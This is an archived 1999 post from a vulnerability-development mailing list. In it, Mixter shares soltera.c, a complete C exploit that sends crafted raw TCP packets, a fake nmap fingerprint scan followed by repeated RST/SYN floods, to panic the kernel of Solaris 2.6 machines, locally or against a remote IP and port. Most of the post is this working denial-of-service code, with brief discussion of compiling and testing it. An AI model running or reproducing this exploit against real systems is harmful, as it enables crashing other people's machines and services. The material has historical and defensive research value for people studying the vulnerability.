Vulnerability Development mailing list archives

Re: solaris DoS (fwd)


From: mixter () NEWYORKOFFICE COM (Mixter)
Date: Wed, 6 Oct 1999 01:03:34 +0200


Hi,
sorry for my sloppy coding, the attached version should
compile on any solaris box (with -DSOLARIS) and is a bit tuned
The vulnerability seems to get triggered when you repeatedly
send a packet with rst flag and one with syn flag set afaik

On Mon, 4 Oct 1999, Erik Parker wrote:


Mindsec just got time to test this.. However it doesn't compile
on a Solaris 2.6 machine. In Addition, I have a fully patched Enterprise
250 I tested this on, running 2.6 (the same machine we tried to compile
this on), and the nmap problem doesn't seem to exist either. Perhaps
I will test this on a newly installed Ultra 10.

I was also check this (and a few other problems) against the Solaris 8
machine we are testing. We have Solaris 8 running an ultra 10.. Just
for OS testing, but we will also try some of the past exploits and
problems against it.

----------
mixter () newyorkoffice com
darknetworks.net/~mixter


/* soltera.c - (c) Sep 1999 by Mixter
 * Local / Remote DoS against Solaris 2.6 (other versions?)
 *
 * Description: nmap fingerprint scans against any daemon that
 * terminates right after the scans are able to produce a kernel
 * panic on Solaris 2.6. (found by D.Brumley)
 * Local exploit: this program will create, scan and kill a listening
 * server. Just run it without arguments.
 * Remote exploit: soltera <ip> <port> - this _might_ work for a
 * service started again by inetd for every new session.
 *
 *      cc -lnsl -lsocket -DSOLARIS soltera.c -o soltera
 *
 *    +++ root priviledges are needed for the fingerprinting +++
 */

#define PORT    0xC0D3
#define REPEAT  255

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <errno.h>
#include <signal.h>

void server (int);
void fakeosscan (u_long, int);

#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))

#define ANS "\x1b\x5b"
#define TH_FIN  0x01
#define TH_SYN  0x02
#define TH_RST  0x04
#define TH_PUSH 0x08
#define TH_ACK  0x10
#define TH_URG  0x20
#define TH_BOG  64

/* #define WINSIZ 1024 * (ih->ttl % 4 + 1) */
#define WINSIZ 2048

#ifdef SOLARIS
#include <sys/stream.h>
#include <sys/dlpi.h>
#include <sys/bufmod.h>
#include <netinet/ip_var.h>
#define htons(x) (x)
#define htonl(x) (x)
#define u_int8_t uint8_t
#define u_int16_t uint16_t
#define u_int32_t uint32_t
#endif

struct iphdr
  {
#if __BYTE_ORDER == __LITTLE_ENDIAN
    u_int8_t ihl:4;
    u_int8_t version:4;
#elif __BYTE_ORDER == __BIG_ENDIAN
    u_int8_t version:4;
    u_int8_t ihl:4;
#else
#error  "Please fix <bytesex.h>"
#endif
    u_int8_t tos;
    u_int16_t tot_len;
    u_int16_t id;
    u_int16_t frag_off;
    u_int8_t ttl;
    u_int8_t protocol;
    u_int16_t check;
    u_int32_t saddr;
    u_int32_t daddr;
  };

struct tcphdr
  {
    u_int16_t source;
    u_int16_t dest;
    u_int32_t seq;
    u_int32_t ack_seq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
    u_int8_t th_x2:4;
    u_int8_t th_off:4;
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
/*    u_int8_t th_off:4;
   u_int8_t th_x2:4; */
#endif
    u_int8_t th_flags;
    u_int16_t th_win;
    u_int16_t check;
    u_int16_t th_urp;
  };

u_short
ip_sum (addr, len)
     u_short *addr;
     int len;
{
  register int nleft = len;
  register u_short *w = addr;
  register int sum = 0;
  u_short answer = 0;
  while (nleft > 1)
    {
      sum += *w++;
      nleft -= 2;
    }
  if (nleft == 1)
    {
      *(u_char *) (&answer) = *(u_char *) w;
      sum += answer;
    }
  if (nleft == 1)
    {
      *(u_char *) (&answer) = *(u_char *) w;
      sum += answer;
    }
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  answer = ~sum;
  return (answer);
}

int
main (int ac, char **av)
{
  int p = PORT, pid;
  u_long ia;

  if (ac < 2 || !(ia = inet_addr (av[1])))
    {
      printf (ANS "0;32m[using ip 127.0.0.1]\n");
      ia = inet_addr ("127.0.0.1");
    }
  else
    printf (ANS "0;32m[using ip %s]\n", av[1]);
  if (ac >= 3)
    if (atoi (av[2]))
      p = atoi (av[2]);
  printf (ANS "0;34m[using port %d]\n", p);
  if (getuid ())
    {
      printf ("You need root to use fingerprinting locally...\n");
      printf ("Listening as server only, hit CTRL+C to abort.\n");
      for (;;) server(p);
    }
  pid = fork ();
  if (!pid)
    server (p);
  sleep (3);
  fakeosscan (ia, p);
  if (kill (pid, SIGKILL) == -1)
    printf (ANS "0;31mFAILED to kill server: %s\n", strerror (errno));
  else
    printf (ANS "0;31m[server (pid: %d) killed]\n", pid);
  sleep (3);
  fakeosscan (ia, p);
  sleep (10);
  printf (ANS "0;35m[all done]%s0;0m\n", ANS);
  return 0;
}

void
server (int port)
{
  int c, e = sizeof (struct sockaddr_in);
  struct sockaddr_in l, r;
  l.sin_family = AF_INET;
  l.sin_port = htons (port);
  l.sin_addr.s_addr = INADDR_ANY;
  memset (l.sin_zero, 0, 8);
  c = socket (AF_INET, SOCK_STREAM, 0);
  bind (c, (struct sockaddr *) &l, sizeof (struct sockaddr));
  listen (c, 0xFF);
  printf (ANS "1;33m[server listening on port %d]\n", port);
  while (accept (c, (struct sockaddr *) &r, &e));
}

void
fakeosscan (u_long ip, int port)
{
  int r = socket (AF_INET, SOCK_STREAM, 0), optlen = 20, i = 0;
  int orig = getrandom (1024, 65534);
  char synb[8192];
  struct sockaddr_in sin;
  struct iphdr *ih = (struct iphdr *) synb;
  struct tcphdr *th = (struct tcphdr *) (synb + sizeof (struct iphdr));
  u_long seq = random ();
  char *eoh = (synb + sizeof (struct iphdr) + sizeof (struct tcphdr));
  char *options = "\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000";

  printf (ANS "1;30m[initiating fingerprinting simulation on port %d]\n", port);

  sin.sin_family = AF_INET;
  sin.sin_port = htons (port);
  sin.sin_addr.s_addr = ip;

  connect (r, (struct sockaddr *) &sin, sizeof (sin));
  close (r);
  r = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);

  ih->version = 4;
  ih->ihl = 5;
  ih->tos = 0x00;
  ih->id = htons (random ());
  ih->frag_off = 0;
  ih->ttl = getrandom (0, 255);
  ih->protocol = IPPROTO_TCP;
  ih->check = 0;
  ih->saddr = 0;
  ih->daddr = ip;
  th->source = htons (orig);
  th->dest = htons (port);
  th->seq = seq;
  th->ack_seq = 0;
  th->th_flags = 0;
  th->th_win = htons (WINSIZ);
  th->check = 0;
  th->th_urp = 0;
  memset (eoh, 0, 20);
  memcpy (eoh, options, optlen);

/* packet 1 */
  ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
  th->th_off = 5 + (optlen / 4);
  th->th_flags = TH_BOG | TH_SYN;
  th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
  ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
  sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0,
            (struct sockaddr *) &sin, sizeof (sin));

/* packet 2 */
  ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
  th->th_off = 5 + (optlen / 4);
  th->th_flags = 0;
  th->source++;
  th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
  ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
  sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));

/* packet 3 */
  ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
  th->th_off = 5 + (optlen / 4);
  th->th_flags = TH_SYN | TH_FIN | TH_URG | TH_PUSH;
  th->source++;
  th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
  ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
  sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen,
          0, (struct sockaddr *) &sin, sizeof (sin));

/* packet 4 */
  ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
  th->th_off = 5 + (optlen / 4);
  th->th_flags = TH_ACK;
  th->source++;
  th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
  ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
  sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));

/* packet 5 */
  ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
  th->th_off = 5 + (optlen / 4);
  th->th_flags = TH_SYN;
  th->source++;
  th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
  ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
  sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));

/* packet 6 */
  ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
  th->th_off = 5 + (optlen / 4);
  th->th_flags = TH_ACK;
  th->source++;
  th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
  ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
  sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));

/* guess */
  ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
  th->th_off = 5 + (optlen / 4);
  th->th_flags = TH_FIN | TH_PUSH | TH_URG;
  th->source++;
  th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
  ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
  sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));

/* we omit the udp stuff */

/* the actual mutex_enter exploit (rst/syn/rst/syn...) */
  optlen = 0;
  memset (eoh, 0, sizeof (options));
  ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
  th->th_off = 5 + (optlen / 4);
  th->th_flags = TH_SYN;
  for (i = 0; i <= REPEAT; i++)
    {
      if (i % 2)
        {
          th->th_flags = TH_SYN;
          th->th_win = htons (WINSIZ);
        }
      else
        {
          th->th_flags = TH_RST;
          th->th_win = 0;
        }
      th->source = orig + i;
      th->seq = seq + i;
      th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
      ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
      sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
      usleep (31337);
    }

  close (r);
}


Current thread: